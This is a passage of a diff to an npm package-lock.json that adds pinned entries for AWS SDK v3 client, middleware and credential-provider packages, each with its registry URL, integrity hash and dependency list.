"license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-sdk-sqs": "^3.972.20", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/md5-js": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-ssm": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-ssm/-/client-ssm-3.1032.0.tgz", + "integrity": "sha512-IkFS5VbAuLhyDIwfkeWvBsdY6fQpr9adDaA8q1dBVyW4qZEF8qfNB6Oq7s+NkUStWnkquKlBJtHv0qzW81RuNg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "@smithy/util-waiter": "^4.2.16", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-sts": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-sts/-/client-sts-3.1032.0.tgz", + "integrity": "sha512-FCLc5VWb+yz1xb/Jv0sXFGqIIs+bHZQWBKbPQKCuypF3wU/7UFygXuSXo9uJfwISKNGVHJwp+0136f8mqmzRcA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/signature-v4-multi-region": "^3.996.18", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/core": { + "version": "3.974.1", + "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.974.1.tgz", + "integrity": "sha512-gy/gffKz0zaHDaqRiLCdIvgHmaAL/HXuAtMcBP7euYSFx4BsbsdlfmUBJag+Gqe62z6/XuloKyQyaiH+kS3Vrg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/xml-builder": "^3.972.18", + "@smithy/core": "^3.23.15", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/property-provider": "^4.2.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/signature-v4": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/crc64-nvme": { + "version": "3.972.7", + "resolved": "https://registry.npmjs.org/@aws-sdk/crc64-nvme/-/crc64-nvme-3.972.7.tgz", + "integrity": "sha512-QUagVVBbC8gODCF6e1aV0mE2TXWB9Opz4k8EJFdNrujUVQm5R4AjJa1mpOqzwOuROBzqJU9zawzig7M96L8Ejg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-env": { + "version": "3.972.27", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-env/-/credential-provider-env-3.972.27.tgz", + "integrity": "sha512-xfUt2CUZDC+Tf16A6roD1b4pk/nrXdkoLY3TEhv198AXDtBo5xUJP1zd0e8SmuKLN4PpIBX96OizZbmMlcI6oQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/types": "^3.973.8", + "@smithy/property-provider": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-http": { + "version": "3.972.29", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-http/-/credential-provider-http-3.972.29.tgz", + "integrity": "sha512-hjNeYb6oLyHgMihra83ie0J/T2y9om3cy1qC90h9DRgvYXEoN4BCFf8bHguZjKhXunnv7YkmZRuYL5Mkk77eCA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/types": "^3.973.8", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/property-provider": "^4.2.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/util-stream": "^4.5.23", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-ini": { + "version": "3.972.31", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-ini/-/credential-provider-ini-3.972.31.tgz", + "integrity": "sha512-PuQ7e8WYzAPpzvFcajxf8c0LqSzakVHVlKw8M0oubk8Kf347YOCCqT1seQrHs5AdZuIh2RD9LX4O+Xa5ImEBfQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-env": "^3.972.27", + "@aws-sdk/credential-provider-http": "^3.972.29", + "@aws-sdk/credential-provider-login": "^3.972.31", + "@aws-sdk/credential-provider-process": "^3.972.27", + "@aws-sdk/credential-provider-sso": "^3.972.31", + "@aws-sdk/credential-provider-web-identity": "^3.972.31", + "@aws-sdk/nested-clients": "^3.996.21", + "@aws-sdk/types": "^3.973.8", + "@smithy/credential-provider-imds": "^4.2.14", + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-login": { + "version": "3.972.31", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-login/-/credential-provider-login-3.972.31.tgz", + "integrity": "sha512-bBmWDmtSpmLOZR6a0kmowBcVL1hiL8Vlap/RXeMpFd7JbWl87YcwqL6T9LH/0oBVEZXu1dUZAtojgSuZgMO5xw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/nested-clients": "^3.996.21", + "@aws-sdk/types": "^3.973.8", + "@smithy/property-provider": "^4.2.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-node": { + "version": "3.972.32", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.972.32.tgz", + "integrity": "sha512-9aj0x9hGYUondBZSD0XkksAdHhOKttFw4BWpLCeggeg40qSJxGrAP++g0GCm0VqWc1WtC/NRFiAVzPCy56vmog==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/credential-provider-env": "^3.972.27", + "@aws-sdk/credential-provider-http": "^3.972.29", + "@aws-sdk/credential-provider-ini": "^3.972.31", + "@aws-sdk/credential-provider-process": "^3.972.27", + "@aws-sdk/credential-provider-sso": "^3.972.31", + "@aws-sdk/credential-provider-web-identity": "^3.972.31", + "@aws-sdk/types": "^3.973.8", + "@smithy/credential-provider-imds": "^4.2.14", + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-process": { + "version": "3.972.27", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-process/-/credential-provider-process-3.972.27.tgz", + "integrity": "sha512-1CZvfb1WzudWWIFAVQkd1OI/T1RxPcSvNWzNsb2BMBVsBJzBtB8dV5f2nymHVU4UqwxipdVt/DAbgdDRf33JDg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/types": "^3.973.8", + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-sso": { + "version": "3.972.31", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-sso/-/credential-provider-sso-3.972.31.tgz", + "integrity": "sha512-x8Mx18S48XMl9bEEpYwmXDTvjWGPIfDadReN37Lc099/DUrlL4Zs9T9rwwggo6DkKS1aev6v+MTUx7JTa87TZQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/nested-clients": "^3.996.21", + "@aws-sdk/token-providers": "3.1032.0", + "@aws-sdk/types": "^3.973.8", + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/credential-provider-web-identity": { + "version": "3.972.31", + "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-web-identity/-/credential-provider-web-identity-3.972.31.tgz", + "integrity": "sha512-zfuNMIkGfjYsHis9qytYf74Bcmq6Ji9Xwf4w53baRCI/b2otTwZv3SW1uRiJ5Di7999QzRGhHZ96+eUeo3gSOA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/nested-clients": "^3.996.21", + "@aws-sdk/types": "^3.973.8", + "@smithy/property-provider": "^4.2.14", + "@smithy/shared-ini-file-loader": "^4.4.9", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/dynamodb-codec": { + "version": "3.973.1", + "resolved": "https://registry.npmjs.org/@aws-sdk/dynamodb-codec/-/dynamodb-codec-3.973.1.tgz", + "integrity": "sha512-BuxJyHW+fnuGLFZ84z5txzlfKXLVbf3hmWH4wQ9q5a/P6O5slNg6j2eUE2kQMYWt3A3PheUR4tgRBUC7j9i/nQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.1", + "@smithy/core": "^3.23.15", + "@smithy/types": "^4.14.1", + "@smithy/util-base64": "^4.3.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/endpoint-cache": { + "version": "3.972.5", + "resolved": "https://registry.npmjs.org/@aws-sdk/endpoint-cache/-/endpoint-cache-3.972.5.tgz", + "integrity": "sha512-itVdge0NozgtgmtbZ25FVwWU3vGlE7x7feE/aOEJNkQfEpbkrF8Rj1QmnK+2blFfYE1xWt/iU+6/jUp/pv1+MA==", + "license": "Apache-2.0", + "dependencies": { + "mnemonist": "0.38.3", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-bucket-endpoint": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-bucket-endpoint/-/middleware-bucket-endpoint-3.972.10.tgz", + "integrity": "sha512-Vbc2frZH7wXlMNd+ZZSXUEs/l1Sv8Jj4zUnIfwrYF5lwaLdXHZ9xx4U3rjUcaye3HRhFVc+E5DbBxpRAbB16BA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-arn-parser": "^3.972.3", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "@smithy/util-config-provider": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-endpoint-discovery": { + "version": "3.972.11", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-endpoint-discovery/-/middleware-endpoint-discovery-3.972.11.tgz", + "integrity": "sha512-vXARCZVFQHdsd6qPPZyC/hh+5x2XsCYKqUQDCqnUlpGpChMpDojOOacQWdLJ+FFXKN8X3cmLOGrtgx/zysCKqQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/endpoint-cache": "^3.972.5", + "@aws-sdk/types": "^3.973.8", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-expect-continue": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-expect-continue/-/middleware-expect-continue-3.972.10.tgz", + "integrity": "sha512-2Yn0f1Qiq/DjxYR3wfI3LokXnjOhFM7Ssn4LTdFDIxRMCE6I32MAsVnhPX1cUZsuVA9tiZtwwhlSLAtFGxAZlQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-flexible-checksums": { + "version": "3.974.9", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-flexible-checksums/-/middleware-flexible-checksums-3.974.9.tgz", + "integrity": "sha512-ye6xVuMEQ5NCT+yQOryGYsuCXnOwu7iGFGzV+qpXZOWtqXIAAaFostapxj6RCubw36rekVwmdB2lcspFuyNfYQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/crc32": "5.2.0", + "@aws-crypto/crc32c": "5.2.0", + "@aws-crypto/util": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/crc64-nvme": "^3.972.7", + "@aws-sdk/types": "^3.973.8", + "@smithy/is-array-buffer": "^4.2.2", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-stream": "^4.5.23", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-host-header": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.972.10.tgz", + "integrity": "sha512-IJSsIMeVQ8MMCPbuh1AbltkFhLBLXn7aejzfX5YKT/VLDHn++Dcz8886tXckE+wQssyPUhaXrJhdakO2VilRhg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-location-constraint": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-location-constraint/-/middleware-location-constraint-3.972.10.tgz", + "integrity": "sha512-rI3NZvJcEvjoD0+0PI0iUAwlPw2IlSlhyvgBK/3WkKJQE/YiKFedd9dMN2lVacdNxPNhxL/jzQaKQdrGtQagjQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-logger": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.972.10.tgz", + "integrity": "sha512-OOuGvvz1Dm20SjZo5oEBePFqxt5nf8AwkNDSyUHvD9/bfNASmstcYxFAHUowy4n6Io7mWUZ04JURZwSBvyQanQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-recursion-detection": { + "version": "3.972.11", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.972.11.tgz", + "integrity": "sha512-+zz6f79Kj9V5qFK2P+D8Ehjnw4AhphAlCAsPjUqEcInA9umtSSKMrHbSagEeOIsDNuvVrH98bjRHcyQukTrhaQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@aws/lambda-invoke-store": "^0.2.2", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-sdk-api-gateway": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-sdk-api-gateway/-/middleware-sdk-api-gateway-3.972.10.tgz", + "integrity": "sha512-CeiwtgS4wvq5KQHjXUJ3bxacBkuu3jy3jGkr8d3lFbQ67E53AdLuxD2ZFh2C3fCykjRXSPC504ThyC/PTtaOSA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-sdk-ec2": { + "version": "3.972.20", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-sdk-ec2/-/middleware-sdk-ec2-3.972.20.tgz", + "integrity": "sha512-nmkwdX9ImAvVtzBl65GzttDUV6GUL3KNbDs0nk3XYQS6KdQnxuGnvirw1CTCsDrMJOQgMmKY3TEHc0r+zZGc0Q==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-format-url": "^3.972.10", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/protocol-http": "^5.3.14", + "@smithy/signature-v4": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-sdk-rds": { + "version": "3.972.20", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-sdk-rds/-/middleware-sdk-rds-3.972.20.tgz", + "integrity": "sha512-nOFoWNkeTLbNjfESgMzZ6LFiok4Op12jelgtVtkme3UZLRsXWcKdtHfsSZKhJJCZiYTMLuJ8DcA4E2t6Pml49Q==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-format-url": "^3.972.10", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/protocol-http": "^5.3.14", + "@smithy/signature-v4": "^5.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-sdk-s3": { + "version": "3.972.30", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-sdk-s3/-/middleware-sdk-s3-3.972.30.tgz", + "integrity": "sha512-hoQRxjJu4tt3gEOQin21rJKotClJC+x7AmCh9ylRct1DJeaNI/BRlFxMbuhJe54bG6xANPagSs0my8K30QyV9g==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-arn-parser": "^3.972.3", + "@smithy/core": "^3.23.15", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/signature-v4": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/util-config-provider": "^4.2.2", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-stream": "^4.5.23", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-sdk-sqs": { + "version": "3.972.20", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-sdk-sqs/-/middleware-sdk-sqs-3.972.20.tgz", + "integrity": "sha512-yt0w5FKyH8Or7OT/Bp3fDRAtI4/f6uaaRKnW9TmU9qv8c1HFh43C9nQYZ26IcyRm+tYFdrB65yNTav/YThu36A==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/util-hex-encoding": "^4.2.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-ssec": { + "version": "3.972.10", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-ssec/-/middleware-ssec-3.972.10.tgz", + "integrity": "sha512-Gli9A0u8EVVb+5bFDGS/QbSVg28w/wpEidg1ggVcSj65BDTdGR6punsOcVjqdiu1i42WHWo51MCvARPIIz9juw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/middleware-user-agent": { + "version": "3.972.31", + "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.972.31.tgz", + "integrity": "sha512-L+hXN2HDomlIsWSHW5DVD7ppccCeRnlHXZ5uHG34ePTjF5bm0I1fmrJLbUGiW97xRXWryit5cjdP4Sx2FwiGog==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@smithy/core": "^3.23.15", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "@smithy/util-retry": "^4.3.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/nested-clients": { + "version": "3.996.21", + "resolved": "https://registry.npmjs.org/@aws-sdk/nested-clients/-/nested-clients-3.996.21.tgz", + "integrity": "sha512-Me3d/ua2lb2G0bQfFmvCeQQp3+nN6GSPqMxDmi/IQlQ8CrlpQ5C0JJHpz2AnOUkEFI0lBNrAL3Vnt29l44ndkA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/region-config-resolver": { + "version": "3.972.12", + "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.972.12.tgz", + "integrity": "sha512-QQI43Mxd53nBij0pm8HXC+t4IOC6gnhhZfzxE0OATQyO6QfPV4e+aTIRRuAJKA6Nig/cR8eLwPryqYTX9ZrjAQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.973.8", + "@smithy/config-resolver": "^4.4.16", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/signature-v4-multi-region": { + "version": "3.996.18", + "resolved": "https://registry.npmjs.org/@aws-sdk/signature-v4-multi-region/-/signature-v4-multi-region-3.996.18.tgz", + "integrity": 